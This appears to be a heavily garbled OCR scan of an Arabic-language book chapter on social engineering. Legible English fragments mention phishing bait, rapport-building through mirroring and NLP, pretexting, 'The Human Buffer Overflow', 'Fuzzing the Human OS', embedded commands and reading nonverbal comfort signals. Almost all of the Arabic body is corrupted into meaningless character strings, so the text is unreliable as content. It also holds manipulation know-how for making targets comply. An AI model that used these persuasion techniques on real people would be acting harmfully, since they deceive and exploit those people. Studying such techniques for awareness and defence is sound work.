jblkVI <JJ^aj (jl ji*J UU£ Jjuj^la. ^U3j Jj^^ll .4-Aj£1I liA J lijii JJ^Vl Jalaill (jx» D^alj 4^j\i3l 4^3 3Ja£ill d^A 

;(jLoij!>U ^jjojLojVI Ajjoiill CjLaUJI (j^ <xjjI dj^^a. ^ill j {Choice Theory) 
(Belonging/connecting/love) L^l/J^atj^t/fbuiVt 
(Power/significance/competence) SfUilt/iiAASfl/^Ualt 
(Freedom/responsibility) 4Jj>^]l/4jjaJI 

(Fun/learning) fkilt/$£Ult - 

(jl£ lil .AjjjS ^^jjJ liA j tilx>i dlWill \j \\Y\ Jll j Cjl^UlaVI ^ Jc^ J jj^aaJl (jJill Jf^ 4 U*\\\ ^Ijj ^ISII l^all 

ji^ll <Lla jjc^ ^ Jll CjI^IuJI pLijJ ^ t^Ull CjUUI^VI cilii jjs jll J^ 

^ t*lli Jxi t<j*Ilt AjI^J c^ILj tdjj jl^lal (jj^ c> ^Ui lW .Ai^lxJl ^Uj (j-aja (j-o jj J£aij -Lilj dj.^n ^ill (j^xaJJl 4jala A^j 

j^la (jj^i (jl (j>» ^^c-Ldla.VI (jjjAi^ll jii^l (_^^>^.l ^-1^ .^^-^^ cJ^ ^-^^^ ^>*-^ ^ ^S^pLjiaII ^j°/ a ^ ^-^j 

AjjojLojVI CjUUlaVI <*jjVI (> Jc^ J j' — Jl j 5^1 jib 

^jai^il AIjI^ ^ jj<^- 4^^lc> (jl^Ax^l ^ -^ j) aXiuj^ (_Jj1^j Aj^A^aJl^j 
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,6^1 j 4_L13 ^jjjJ j^Jj 'cJ^-J *l J^V ^ Sl^al cJ^J^ L— . LaJI jl Jajljlill" 4-iuiL.nl 4-^1 «s 4_nlj CllSj J£ J ClilLoaJ 

L_flUaxJl 4jl^J <J tl^jUlla £x» *^^>^ ^ <— S J^J ^ JJJ^ £^ ■ L — ^ C5"^ JJ^ - ^ J' £J»^ 1 J' ^ L — ^ 

L_J jLojVI .(j^aljSVI djl^^p^i ^1 udlLoai jl 66^1 J^>ia 4 u ^n^l ct)UgS ^ a Jj cJ jll < J> uSj C—Ll^ 4 4 n^a Jj lgj9J^)]a > <aJ L_fl jjuo 

JLoj jl CjI jUlkVI ^1 J ^-u^ .L^l (phishing emails) ^L^Vl ^jj^l JjLuj j J^Lk j* ^->L£ ^ ^^i^VI <jjj.%>JI 
a£j^ j* utj-a 125 J^ cSj^Vl *UJj iMileyCyrusShowering.jpg 'BritneyNaked.jpg ^ jj^ 

^abaJ) jj jjjd^ti j^-^- J^ ig - ^ alL^Vl ^jjj.V^ a\\ (J jj^a jll ^ laxJ jl 1 g *il ni j-a <j3l AlLn^ j| j£l ^ ojjj^a <J£ ^jiAjfl ^1 j cl^. jfi^ a 

j3 jiill ^2 jjj^II j>* 4JL<JI J 75 jffi ^Liill ciijl£ ^^jjatxJU 

J^j JabjJall j| ^CjUllall JiilaJ (JjjUII Jx^j S j£ jl) <ajiaJ) A JlS dll^ jjjlll! iilft CoLlS d J-ft 

4j| A-ilc 6 <J^ J^^ . J J L£^JJ^ UJ^J^ Ud 1 ^^ ^IjouII Ajj^ j> jjc. jxi 1 £ laj jl^ 4jmW <!L^. AjJ jl£ 

Slcj 4ji^.lj 6JJj^3 (Jjjljjol j^Sljfl jJl SUill D^A Cljlj" j c _ 5 ic ^I^A^JI <^l^l Ul" ( JLd CjIjUslSI a l^Lujj t^jjjjj^xi 

/'^jl^lc" jC <J^I^)^. C_JJ^)jaaJ I^Jj j(g > nj 

?^Lu^l ^ 4j11aj nl tillLaj uL£ j tAJbUJ! f Ujj jjjiaj AaiA] JIIa jA ^jSj U 

^llaJ tiljl l!^^ djl^V .(3^-^ ^—^ J dbuja jj ^^lll ^.Uj £5^Llxi (j^flaJ j-d jl jJ jjjJaC. ^ <a!>lxJl pUj iA'& a) 

dljl .ciL ^aLkJl L_jLud^Jl ^Sj jC ^JIjjoJI ( . lUaJ ^U^ll jC !>Ula ^-^pJlj ^stJoiJ du£ LaJJ /o^cLouJl (J^asu ^^ic jj^^J] ^akjai L_llla ^ 

Jc (Jj^aaJ L_fl jjoj . 4^.l^)3lj ^>*jaiJ t-^U-^J (J^>^ Mill jllkj j 4^. jliixJl CjI^aaII J L_fl jjoj 

. J^=H ^xjoij tilLt-a^J c^iJl ^-Ij J^^-^ ^— S jjoj 4L_flljj^ J£ j-d ^tjlUll (jjoij 

J-aVl (jJU LdHc I - ^ 4jaiij CIdjj 1^1^31 I^A jli .4i!)lxJl Aa^lc <! Ig-Lo j^J 'is^J M J^-^ ^ILuaJ 

jLoj 4 C5 J^a^Ja3l tilj^Jaxi Jc pUj cill AjJaaill Aj^iLal! (J^asu cJ*^ <— A c fl^Ji Jj Jj^a!i3 ^aiai £±i\ j _4i,^ n>n 

.^-L^jll jl a \ rt\ Ifl-llc AjjIS j djl^l^a.j iL^jl lillil tl (gj\r> j^J C-U^ J*^^ ^ ,^-|^<Jl t^jL^Jl AjliAsJj j\\ djljjnsu j 

.^ill ^ jjoj Q <^x j (J^j t '^"^ jj ci^^ j^ ^5^^ ^^^>*^^ cJ^° -^^j C**^ 1 a cJ^^j ^3^*-!^ 
jA Jj jxi SjjW! Jj I^jV J tiaia j^jLJI pla^aVl VI IgWq j£dj V J^l j ^U^ 1 ^ J oa^ll ^uujj Aa^Uil 

.^jjt > ^ (_^^>^.V1 CjVI^JI j-« ^j^xJI j tc qjh jiill j tdjlal^j^ll j cdjl yjj^ti ^j^ld l^j j^j jll j 6 ja 
jj^ l?^^ o-a^JI ^f^ajj ^j^jj ich^ Jjj^ j* JSI (Pretext) u' Ci^Ixj ^(Pretext) j^^ 

Jc; <a^UJI jl jc^Vl s-jAJ ^I^IojIj 4j^aa ^UJ dja jll tiL^ uj^ V ^ jjuj 4jc1 ol^VI ^oj^JI Cjl^aUjll j>» ^jAxJI J .c-i^JI Jj 

^UJiV! 4> J^ 4> o- 3 ^^ C^ 31 t*Uil ; JjJJ! ^jull 

(Using Other Rapport-Building Techniques) j^t ^S5Ull/4iftfl f Uj cjUSj ? lill^l J_ 

Jc 4^j\i ^jjjLujVI J {rapport) aS^*SI jl t jVl jj-al*j .NLP Jc- iiLoaj J^^j lsj^VI ia^UJI ^Uj djLu£i 

jjjoajUuij (jjjJjoiJJ 1 g a laJLujJ ( j3l 4_iJj^axJl 4j^ii3l 4_^d^)J! ClaLij^J ^jiaxJ j^-<^ . ^I^^jujVI £-^J <J 4 ■> > >i j j uj ^ (jL^ajVI 

.J^a jxi (jSSjj U£ t jjill Jc^ <vU. jluit J (JjjUII J NLP 
(Breathing at the Same Rate as Your Target) ck** ^AjjII 

(jlasu j^lj .Ai^JjoiJ c^ill L_fl^Jl (Jl* ^jjoilill 4jjL^xi j-«j (JJ^ (J^ Jj ( „ ^ jC- ^aLujJ (iljl ^^-istJ V La (J^akjuj jAx-d (Jjoij Jc ^jjoilill 

e (JaJjJa3lj Cja jll (jjoij J tilli Jxa t^l) ^^JJ jj^ j* j^ J tJaxull 



4jjla ^^Lua 
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(Matching Your Target's Vocal Tone and Speech Pattern ) <4 u^^l lJj^JJ ^y^IIJ^Jj hjj^JI l^jli iLLL> 

%25 'c^^-^j %75 UJ^ J) ^^VW -C£^ '(J^ ^ '^J^ l: * vW '^ .AjlUajj OJjojI ^ die jC jJj tiljjJjJJ ^ CllJj a£3 

4 J L ^ (j-a L-jIjjSVIj C-LqS tit ,<CjjudJ Lud^JI AJtl ^.JJ ^jla^G JLd dts-Lajtj (Jlc d jj^ dti 6<LAi3t lS^J^ 3 4 ^ .L^^>^ 

<Aii3l ^LduaVt >t5 J (j^aLaJt jL^jVt t_J jLujI J^f*j j ttaoxJ (_£JJ £jJa j tg,^ )n\\ Cj^jI ^3 tit Ai!>lxJt <Jj3 ^g-l&aJfl g^^iaJj C-JjAaJt ^jia. 
V tdjL^Jl 4-luu3lj Lot .(jJ jt 6t J^K ^ 6£_}Jjol ^KlL<Jt <jl£ f-t jjuI tl^JLUaJ ^aJ (j-G j IgjjfrlujJ ^j]t JJ^lt 

JjL Alii.rtlt ^Lall .t*Ui J jlaJ V t^ ^ J^j tSUi Jxij jt gjkuin di£ tit VJ . J jLaJ 

(JLg djLaiiaj^a^ ~ laJLujj ^USt <jt ( - iia .(key phrases) ^-^j^ ^IjW*^ ^l<ii.uiVt <UjLaw<» Liajt sj ;<Jt ji<Jt (jj^ij c _ 5 ic 
.<L^Jt ^ ^t^kloiU J**]| ^ IjiS jjSj ^ ccilljA jSj ^ jl j t^jjaujjlt dt jUJt ^Ui^Vt ." yepper'jt " okie dokie" 

■a j£j ;<iI3i (j* V^J .ia^lxJt <Jju£ ^t <ijUjj (jxa iS'^ l^t^Jjujt (j^J V (dLaUaj^xJt) 4-luUJ^)3t dtjUaJt i>i& (jt-l^VI (J^asu 

/ajUaJt (iliil 4_LaUJ^)3t dLaKJt (J^asu lala j 
~* iJaa Jj tjjmA^j a^jJaa Jj cAaij ^j*^ lad (jjAilt (J^hm J 1 ullt ^l^^Vt lljjj ( . la>J Cilia ^ alt i^U Vt Lq udlt Cj l^JJ 1 A\f\ 

>t Slli ^jjo^ct ^aJ ^j-dj ^•^^ ^^^11 ^J^ 3 J^P^I ^J^H kfH3 ^-LujJt ^t ^U^J tdjli tV d±£ tit .^jj^J 

(Matching Your Target's Body Language J <4 u^^l < ^ ^^// il/LLi 

l^jt <joiij djS jit u^j t^ ^jj^ -^Ijj (jt (j^-<^ ^V 4i!>UJt ^Uj Aic ^Uua^U t^. ojjiLi ALjoaj j& lu^Jt 4jJ <LUaxi 

^^jUajlt ^a^C <!L^. (jt jJ ^> >ij (j-d <j jlijJ (JS JjSj (jt (j^-GJ 

^steeple ' -a^-^t jt ^ (Jjj^ju tiLuji^ ^L^Jt ^-ia^ ^ s^lj ^tji ^c/jjjjl! (j^j t8>i j^ .^j^^ 

(JS (Jsl9J V (Jh^tI (J^U 4Jt (j^ tiLt^)juj (j>» Cjlijujj ^ji iklj (jt <Lj ^-l^J (J jUlj Lft (j-akjuj t ^ <<1 ^ (jjalaJ LdAjc 

,4jjUui djt^t^)^.] (JjLfit (j^3j ^^^^JUJ 

(J^t (j>» ^ i It ^Lx»li^)j ptjj (^jIslsc (jjdiiliS (Jaj ^jl£ _4_^.t^)3lj ^jatJuSS L^-Lt-^J _^)JdJt <x_nla JaSS ^^tj 1!Lq (jjiJt (jjjlilt (JiLa ^Ult 
1 t <Lia a du£ j IIiajuj L— n£ tit _(_^jUal<Jt ^cjoiilt t^J-<J S^juoJ -laJJjJ ^^^joJ ^ JJ (_^i3t .L-JJ^^jlt ^t^)J C-lxjJa j ^^jlt <L^)]a3t CljjjiC. ^^jlt oLl^Jt 
^ L^Ijj-g (jj^J ^aA L_jt ?tiUJ .^^^juj V ^t <LilJa (jxi tdj (j^aLkJt jJJxjlt (jli 6(jLdjaJt (jjjUlt (j>» <C j^^ o JaSS 

J;isu L_fl jjuj tiAj ^LijtAiJt 4_ix^Jt diti (jjjUlt £a A * ^^li tDjJJAJ ^jjj l_ u£ tit 4^.t^)3lj qj^xAj Uiajt ^aA (jjiltj (jUijaJt (jjjUlt 

Cilia .^Jld (JjSj (jt ciLic cillil uiij] JJjirl f.t^.\j t J-«J^ (jt t^Sfll^At (j-d Ajjj V djli .Ajc.U»la.Vt ^Lajaj^Jt ^ <waij tdAxJt tiA 

.cilstxi 4-a.t^)3lj t j^xjau (jt ^Ajjjj tiljj 

(Testing Rapport) i_ 

Ai^lc ^.Uj ^ j£ <Lj cilli AjLoi Uij t4_a. jit djt J^jj tAiUalt CjUjlaixi <LLlaxi Jlo <i!>UJt ^Uj ^fl ^ij^t dLu£i3t oiA at iklujt j 

tciL <j^aUJt (jiVt tilja jt (jjjt jit (ji^k Jid ciUUa J!>U. ^ tiL 4_^UJI Ai^UJt jUlkt t^i^^j dK/^Mt oiA (jiasu jU^ a*j 

Ai^lc. dia-jJa j aa (jj£j Ujj aSIa* A^j^ ^jL tilaaA (jt dul j <JU3t a5jSj1I jl£ tili 

^jU>Jt ^t ladu^t ^aisu .(jj^kVt ^ dla!>lxJt ^JJj 4^Uj ; jj^aJaj aic cjjjLia (j>» ^t^a.t dt j^t ^^t dta^.t \ § dUjajlt djA 

(jl Sjjiajajt tilUA <jl£ tdt jluol .^ct <Lia>t (jjjai^£ <iL <j^aLaJt <jujjUuJt tjjj£ ISjfl (^J^ao (jt (j^J Jj^alt tiA 4_a.jo-<Jt Ajjuoiilt 

.^c^li^ult JlLd djIc] (j^J (_£jJoJt JiaJt 

The Human Buffer Overflow 

tiU ttiUi ^ JjI jjuJt (j>j AjSjt 10 dJjla.j j;La.j3t (j>j (^ajjVt) 4-jSjt 8 tiL^ ^] .cJit jjaJt (jxi J^t Jx^a. Jaia A £ oJ c_3 j£3t 

<L^. (j-d (j£.<Lii (jt (jiajilixi Uui jj£t l^jLi (^ic Ajjl^. jW^-] <-! J^-^ du£ tit ^ ^LJt L-jSjuj j jjLault aJJ > o ?C—lAaUjuj 

# iastjJalt t ■ UjuoJ ^-La»^3t Jjuo£ ^JJ > o L_flUaxJt Ajl^j 
m JJJ-<Jt j ^aa^JjauJt ^ajajt |(jjV^ J -laSfl a^.t j (jiajC- ^^Jc (_^jlaJ jjir > ^ ^cxilj^y ciLal (J^^ .''UjUui <L^)iaJ Jaxj JJ jJJ^lt ^c-ot^)J 

^jj^ j^iaj . jj>«Jt JS^ password j ^^^W JSa. ^ admin s-j^ cii^ ojj ^^ <JjUi aAUiu ^UjJt Uajc 

.a±a. J£ (jt Jaj Iaa t "OK" Jj^ J^-^ 3 
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?(jflt (JjS Clljlj j 4 Jl^xJl J t flit 

£Lxali^)J! ^jli UaiJl *L^JIjla (J -0 J L ^> all 4_^Luia3I (jxa <J jlal dllijl ClL^LkAxJl <jV ^liUJ .Uak <!Laij (iillaxjj JJaxJJ 

SjLuJI ^j^j Cy* J (crush) ci^*^ 3JLa> ^UjJI e-lcXLoil ^jj l_a jjoj ^ill ^jl ji*3t Jc- j& CjU^jJI <jj^alja l-a^a 

.IgJ j£j ^31 j-gI jVl ^iiJ £cx*li^)j 

£laI^)JI <Lg^^." <J^-^ ftjStil! 4_^Laui j i(j jl all tCjUulxiill CjIc a e-liiJ ^ j£j (jjimll j-g Jc j "CjUi^g^JI" (Jjt.uuj ^j^uuJ! JSxJl 

.4jjjj*ua 4_jjA3| CjKlh^^ll <j*mu2 Cjlijjsull (j^aau <ilU££ 6^j*uuJl JSaJl Jp lift J^nhl JjS 

i_ t^UJI l_j j£ <Jlix» J La£ .ciAjLn3l ^ixJ jl L* ^^^juj cjj^J ^^-laxj ^31 4_^Lab<JI X^lula j& [(buffer) Cjj^ a ^ 
^1 jj^JI ^AxJI jl^ lij .l^j ^joij ^1 l^j^VI Jiaj ^ill j ^(buffer) jjj-^ cr^*^ 

.(buffer overflow) 4.t_ui3I jjl^i ^1Lj^>» ^UIUj ,^j^JIj t^lj^JI ^U^*< tt^J a t alt ^.LolaII ^jc dbJali c^iJl 

<J j£j ^jl 1 g i£ <l3 L— J J>»tjVl (j^H ^AjaaJ 4_ila^J 6 ^JflJ 4i^3 ;<JiaxJJ V 'jfi Jj;^^ 0^^* ^ L " J '^^ ' a 1 ^ L all ^.LolaH 

^1 ^lijJl 11a ^ jj^j^^ ^'jA'j J ^ - ^ l "^^j^^" (jjoii LojLojI c^j^Ji uj^^ JjW^ 

.^j;^ oL^jV ^j^> cg-^- 6jUj>>ill j j^. ^ j-gI jVl ^ 

.( Jx\) Uuiio Jc S jJaj ^ ^j^iJI liA jU^V 

.tillLAj U ^>ujL Quul j t*Lal£J! I Jjl^ B jA j^il jA life 

YELLOW BLUE ORANGE 
BL RED GREEN 
PURPLE YELLOW RED 
ORANGE GREEN BLACK 

BLUE RED PURPLE 
GREEN BLUE ORANGE 

t^hr a\\ l— lA^ ,^JjojI j ^JjujI tilli <jojjIaaJ jflJ ^j) ttilli Jc jj^^JI cJ^-^- (j^ ^^T^ . <1^juj C-Lau] <Jjl13I 

.tiUi J!^. (j* ciLuaij jl (JjjJ j tdjl aKH jjoj J^Vl Jc Sa^J j Sj-d <j| t ^ uj 

(Setting the Ground Rules) ± 

( http://www.prometheus-incxom/asi/multimedial998/papers/covell.pd^ Jj^xj <jlj^u J 

150 uj*^ (JjjUII (jl Ciiiil ^UAlSI (ji aJL^. Ijj^i Cjj^jjj diijc-jLoj < jjVjj; L_fljlaajj£ cJ^Loj ^3 j^iUi t Jjs j£ l!^A^ uj^y^ 

^aUJl dilj^U^Jl J j^. jiill fV^A) <ll,W\'\ ^31 (JjjUII q\ ls 1xj liA j m 4l&^\ J 600-500 J I JJ^ ^ J J 

^(Jj^LaLA <jjuj j^jj £jjjuJ! L_jUa^JI <j!>Lk (j>» cJa*^^ (jli <il3i3 ,^juj jjj tiL 
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J] ^jIjLloj (jj^JLi < * a j^ illi Laj tUj^xjuj ^jIjIjS a cJx^j ^jjjUll .AgjLia CjljljaJI (JjjUII cJ*-?^ t ^ t . 

JiA (jC ta^. jJ^fljll (jj-J (j-a IgJj^JjJ L_fl jjuj ^^lll ^jjdJ^LJl ^Jfc Lgj 6^JUjujI < flAiajj (d Cf"^ J J^a^Jl 4(Jasl!I 

(jjjial! L» tl^j djjj* Jll Ajj^IcV! CjL^ jll! Lq ^iklujj V L_n£ (cilU^ Jj^ali LdHcj ilLac J) o^Lalb ciuS jl Ldjj da^L^a <Ja 

Lg J^Vl U'j -0 ^ (j-alaJl j^li i^^J L_u^ 4_nfci Alia. J UJ^ i— ^ ?jLa/tfl J ^— J ^-*- J' ^J^' L$'^ 

t c Llajt-Lo J£ <J ja. jj UJ^ 
dlfjj J JaLlI Jaxll J (jl jj £Jjuj Jl Jj^J CjljljaJl laJJ <jjjU1I (j\ QjSklxJ s-Lolxll (J^aau .J^H t^A (j-a (JjjUJI <J*^ ^J^J^ f ^" a 

^ji diia>-^Ajujj L» ^ja** illi cJ*^ jljS iL^jU Ij^l ^jjjUll ^ajL LdAlc . Jaja^Jl ^llxll J lgi*.aj ^ji <JjS ^ (3jLuj 

. jljall J 4£jLla ^Jj^aJ L_aJal jxll j jjt.uiII t&jJj^aJl 

JjUj ji (.(buffer overflow) £jS>*1I llp^ J JjW^ ^ u' U-^^ ^ j <-U^ ^£ ^ 

. J-aljVI (j^- (j-* (J^ aJJ ^£jjudill (Jixll 4_ix_nlall ^l-gIjJI 

Fuzzing the Human OS *k 

SjlaJjujll s-Uaclj I flljll^ filter] ^aJJ jll f 1 U^Nfi jjilxll (fllZZiflg) L ; ^.ahlS <9J^)Ia ^I^JjujI ^aJJ tA-ilxill CjLl^xi^)Jl 

.AjJ±aJI ^1 j^VI/djlji^Jl Alual jail jLaa-d l£^J .^^W^^ ^^^^ clA^ ^ 6 ^^J^^ J^ 3 *^ 

djlc a ^jjjUI! ^jiajc. ^CjULnll ^\ nt ^ ^1 ji\ ^jjouII Jixl! <Jclijj t aj£ t . c^aIjJ) (fuzzing) ' ♦ 4 J # * 1 ^** J^ 4 LaLaj 

4_nx>i ^ijI jS .^it.uuII ^jS "^UjJI" Uji^j ^jl (j^J 1 a (jjlclilj ^ tCAiLnl! ^ * alia o CjIc q jl diljljall ^ alia o 

^ji ^£U3l jl (ill 4_aliil AJUll <c j ^ A\ tilLoi^lj ^ jaj L_a jjuj 4il Uij ?tilli Asu cJ*^ ^ j^ Aalsu liU» 4U»L<»j 4-yjc- j ^ uJ 4 alall 

. J^.1^11 ^1 Jj^aj ^la. jiiixi ^Ijj L_a jjuj J jVl Ac- ja^JI 
c_j3 j jjjUall ja.^31 ^gl] el n£ lil ^^.jVl (^5!*^ ttiLiUil (j! LgL»j 4-ijjc. ^j^>^ >*M dja^uuj ^a.j jjjUa c_ u£ lil 

^QjuJJ <■ — 3 jjuj 

iUJl ^jj U s^lcr m dxl jlll ^ s^lc (JjjUII (Jaljlj ^1 4JUJI ^ U ^(/^h; of expectations) j^^ <1 c-nxJI 

^UjJ AjJ±kli "l_jUUJI" JIjujjI l^Jfl tilj£ <Lj a^lj <ajjia .<! <S*i ill L_JUall ^3 jJ ^ ^jll 4j jt_>.^ C5 1c f.Uj diljljall 

.{presupposition) o^lj^VI c^ijj ^U^31 

ill ^joulU la^jujJ JUg illiA .Ij^cUjI ^gJt-ljj c ^lll j jld (jj^J L_fl jjuj Ulll AjjaJ jjuj ^ill L_llkll tVjl t-A UfligJ) f UaPj (j^jla 

4-ilUll <C ja^oI! cjaca. ^jL<uJal AljLa^d cJ*-?^ cJ^Vl (^^ic ^aauujll I^A (JjfLjjuj ^a.jVI (^^-^J Lo ^aauujl ^jUll iLuJ-ol jjVI ^ J& jUla.V 
li ojflsu ^^lll CjUi jlx-<Jl 4 x laS jl <Lq1^q L_fl^Jl ^lLq (J^La. illij ^Liall ^ j£ ^^cLdla.Vl ^j" <ill .ill ^La. jliix» J^Vl 

. JjalLoiAll <x3 jJJ L— t . \\\~\ JIjIaVI DJjJjJa ^juj jij (3^^ *^J^ ^aA^UacI .( . lilall ^aAaj q\ ^Vjl 

^Vli JUa jjp JJaflSfl {presupposition) u^lj^VI £>£aj 

"?^ljjJaa. l1jjj£jujI *jjj3 ojLjjuj ^jaj IajI^ ;L_allj ^Jj^^^IaII <_£jLa. ^jl ^aisu Ja" 

.L_all j 4_ajujI 
.^IjjJaa. SjLluj .ujaj 

du£ jl jjjujj ^lll jli cjIjjusu j t^juiaJI <il ;l_jIa1£3I J^kluAj VI jjuj JLujj Jl*i l!^^ (presupposition) o^alj^VI ^l^klujV 

'yUaill jia." Sjj^Ua J jj^a jllj (^1 jll Jixll) "4jUaJl jl^" jjLal jA <Lj]all d^J ^jjjLujVI jA ja. . JxilU dLS 4_JUa ^ jJJ 

.AlojJaJI j^ljVl c> jA t^L <j^alkll "fijiu^!" ^jaaJ Aiijla ^jjujI .(^j^i) 

(The Rules of Embedded Commands) 41*^1 ja\J*S\ J_ 

;<J>ixj IfrLcaJ ^11 <idjJaAll j^l j^U AjjujLujVI ^^UaII (J^axJ 

.cj! aKII 4-3 s^lc j-ol jVl 
.yUi j^Vl jA ^Ull lU=JI J l^likl - 
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.^aljVl fC-Sl (j\ t . L^J a i II j 4^. jll 4Jl! 

^1 >al jVI 
'MjVl Jlil" - 

J^I/lM" - 
!V^ ,M - 

4iL-bV c^ill '{padding) y^l ^Vn . n exploit '(buffer overflow) < #h*^ ^3>JI uj^l JjW^ ^ 

(jjj^-J (j£aJ .AinaJl dlji^l Jl c£^l J "landing pad" <■ J^*-^ J^*^ £c-ajuiJ <j£J j iiiiill ^Jaii V jll L_flj^VI Lpasu 

• Jlxj ^jj LoAic- Ja jj^JI (jJ ^jl^-Q <! (jj^j q\ JLill ,>*VI s^cLola! '(padding) j>*^ti <^ Jll ditjLxlt (j-a s^lalujVI ^1 ^^Vl 

..."La^" - 

-c ^j^Ul J J j£ JiaJ till ^joaJ jll jiill j! AiSalxJl (jlk Jc; Jaxj dLLJl (j-a J£ 
: JabU JJS JJP Uj£j Ufc <j£lj <4,Lwa,*i) j^l Jp jjj£!| Jajj ^ 

.dLa jlx-<JI (j* U jic> (j-aj^aill 4 ->\Ua Jl ^La^l :(Using quotes or stories) p n t sftW jt chUSVI f hVmt l 

4_i^jjJa jlill ^a jjoj^)3Ij (j^aj^aall ^^JjujI II (JjjjLa^ 6(jja!^lil t jlajaijl t^jJa^a d l3j ^1 (j-a I jjujIc (j^ill (jjLalx-all ^alac! (j-a ^* J 

?liLal jll ^UlLujVI ^ ajLul a ^ i^jLuia]| 

^aixj] 4^a*J NLP (j^J^^ ^ ^tII 4jj*-lll <L^ajJl c-LI ,1^.1 t jlijb .SjJjU-a dl ajWMl j (j^aj^alll ^c]l*J <Ji»Jl 

.AjjlaLolq J jj^qMl J iAaJLdl] 6 j3 s-Uac] IgjLuj (j-a Jill j (JjAjjsVI j) (j^nnMl a L_ fl^>su j^S .(([llOtes) (JJJ^-f^VI CjUi^lc ^I^JjojI 

A-ijij]| dIa a I laJLujI (jj^J (jjjUliaVI ^ ^lj*^l * 1 ^ ^ t^jjjliiaVI ^1 laJLujIj Jiij d^IjS (j^j 

jj^xi Jl "UjJJaj" ^ ^jSaj! 4^J^3I JJJ^\ ^^ilSaxJ ^^JU L_iciljll ^ Ui 6^1 j ^ 4 Jllftlt 

li^ e>(^& CLu^jjujI Ul / sj ^a]| jjj>JI ( ^ <^ J^J*^ liUJ Ujliij J^Loij L— ^cJI L-jjAixi Ajuji U^J 

.aj^j^VI cijl£jJa3l ^ <Li»_jja CjI^K ^jj^a^Lujj (jjjUll ^ Z74 Xavier ^— j^jI W^j^-^ ^lj^ ^—jj^^ <" J^^l 

Ul jilt 

tiUi Aauj tiL <j^aUJI jj^Ljll JJ>«JI <aK ^giikjtJ jl cilia ^H^l 

. j;nij3l liA CjI^I mnj liUJ J ^^111 Ujj diaLial 

cil^ dj i^j^UI jii^l Ujj^ Jxij V jlj lJ^JI jU^U .^ u&r Jl (jjaiill ^alc ^ j^^l j& ^5^^ i(Using negation) cr^l ^h^*i< nt 

c : *n^> " ^LLdjJaxJl ^1 jVI ^Ia^LujI ^jojjUui ^ dS jll ^ J^^l (jjilj V" till JjSI du£ lij c JULoJl ^^ic .aLl^JI ^ La j^l ^jj a > ^aj 

lilj ^ Jl 4Jc ^jjjjLdJ L_fl jjoj tiljl ^jiajjal ^jl Uiajl ^ .<1a^JI "A-LdjJaxJl ^IjVI ^al I^LujI (JjjjU»" J-«VI cJ' ^ 

."Aljl La (jjJjLdl c_a jjojj ^U^l ( ; La J J ^ V" 6 J jSJ ^ ^iic du£ 
^jl£ lij La -li^J clA^ C5^ _J ^ a ] (*L<uAI ^^Lj (j* cJ^^J <L^all dlli jl La^-a ^jjjJ La IIluj ^j) ^j^>^ ^J| jU^j 

iLkjl jjoj jLi^- (^1 OJ^ Cy* ^<ft*1ni<ft\l ^l^pJ (jl 1 g ^ (j-a ^ill (3^L^JI (JLLall (JlLa A-nLuJ (J-a^ ^>^^J^^ ^ 1 ^ ^ aJ _V ^al L-LujLLa 

.^Laj^Ul dUlj^VI 

2^1^11 JLoij c_j jLiVl liA :(Forcing the listener to use his imagination) 4-SL£ ^^iS*dn) j-^I^aJI j^I 

Clu£ lij .4_ilc Jjll lliJj ( ; C5^^J Lalic tilj^scJj La" jl liLa" Jla dlljUc a I iklLujl j tjljjai 

I^A ^^Ic jj^juLaj (jj^J L^ 1 ^^ diS jll Ul^-b Ijjj^j ^aLuiaII (jl "?| jj^ mi^j Uic. gaJ LaAjc ^^^j liLa" ;JLujJ 

6 jjloi^LaJl <^J^ pj^aJ jl ^J^^ ^ "?<lajJa-aJl J^ljVl ^al^lojl jijJ du£ La^k; Cj^j liLa" [tillLojl LI lil . JIjjoJI 

6jL3 ftjjjuo tiLJ (jj^j ^juj <j| c ? 'n^> 'VI SjL V" ttSll dJa lil ;<Ljia3l oi^j j-oVI ^ j^^l LaAk. j*J^\ j 

(jl (j^-aJ t-^s^ LS^\ J*^^ L>^ ^ ^ ^--aK <J£ jJ.>.>ij (jC <J jjjouJI j& ^ s c\ Celiac ,(il3i ^ *^ ^lnVll J j£5 ^aJ V jl 5-l^a^. 

1* <a s-LlacI ^aJ (j-a j (JlLaJ 

* jaJl .(jUjudll jl nr> I (_^l (jj^ 4 6jJjU-a dLLnll ^JLu ^^cljiUI JisJl .liA Jj^" <j ^j-aLaJ! c _^£.j^Ul t<LaaJI ^ JixJl dlS jll J jlaJ 
4JLuj^)1I ^-a ^ La JaJJ ^aJ (j-aj tdl^LajVlj (U jj^II dLaijj jll dljjiJJUj t^jud^JI JJJJJ ^jl (j^-aJ ^^Cj^lSl (jl ^)-lj£Jl ^>^-VI 

a 4_LajJa^a]| 
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^aAC j& <lAjJaAj| J-aljVI ^1 I^IjujI Ale ^_xi j& Li 

(buffer overflow) ^>JI llp^ jjW^ JUJI j& L£ . j^l jYI g: * > <j* Y^ caULS ^ill /Ml c_a j^j j Ljj£ 



Understanding Nonverbal Displays Of Comfort and Discomfort 



.L-jL&l! Ii& <LLaJl <J gaill Jl AfiLui <L^)laJ iA^. jll j^buj Aua^Jl kc.j tAjcLil^YI ^ i » lag II (jjjJjAiJ jSI LgAjX. 

t - n ujj L_fl jjuj JJ-aVl (j-a J^-^l <Ja^.^Li <U jL^-a (jU ^j^xjuUj l^JC 1 jSaJJ (jl ^-1 <J-^ (^1 ^LjuiYI ^J<Q 4_IajuJ 

I jI^jI il-^-lj Ljjui Ij^*-^ (jl J jSi ^ 6CjL»^Isl!I jl CjIjjjtMI ^ a^j jc! i cJ;!^!! Jl j^I aJjIa^ ^ .^aLIII 

JJJ^II ^3 J j£j j ^-Ic jj^l .lie. tgjj Jj^JJ AjjojLojVI AuiaJl Ajl! (J^axJ Li 1 > ^ mi ^jl Ja^-Y .£-lc jjYI J ^.Ij^l dlLailfi- <jc 

J! J^Aj jj^I <<iA^ yr^ "truth wizards" cr^^ Jjj .^Lu^I ^^-^ 

"(h0t SpOt) 4-^LuJl JalSjll" fuuL qAjJ^\ L^ljJjijll £>i* Jlft 

jU^Vl c> ^ (wizard) cjUJUJI cjjUI (."wizard project" Jj^ ^j^Jl ci^^ ^ l?^^ O^j' jj^^l 

o^JaJj ^jujIj L_alk ^J^J 1 > nil > ^Ijlj 4L_Jjjij Li Ale . lal aILujVI (jl l^jLuj ^j>i ^^Ij <J^L^-<Jl ^Aj jA tiliAA <( jJ jA tiliAA (jl l!^^ 

clHf^ Li£ ^^-Sc Lja^)3l 

Ben is content and feeling comfortable and confident. 




What has changed with Ben? 




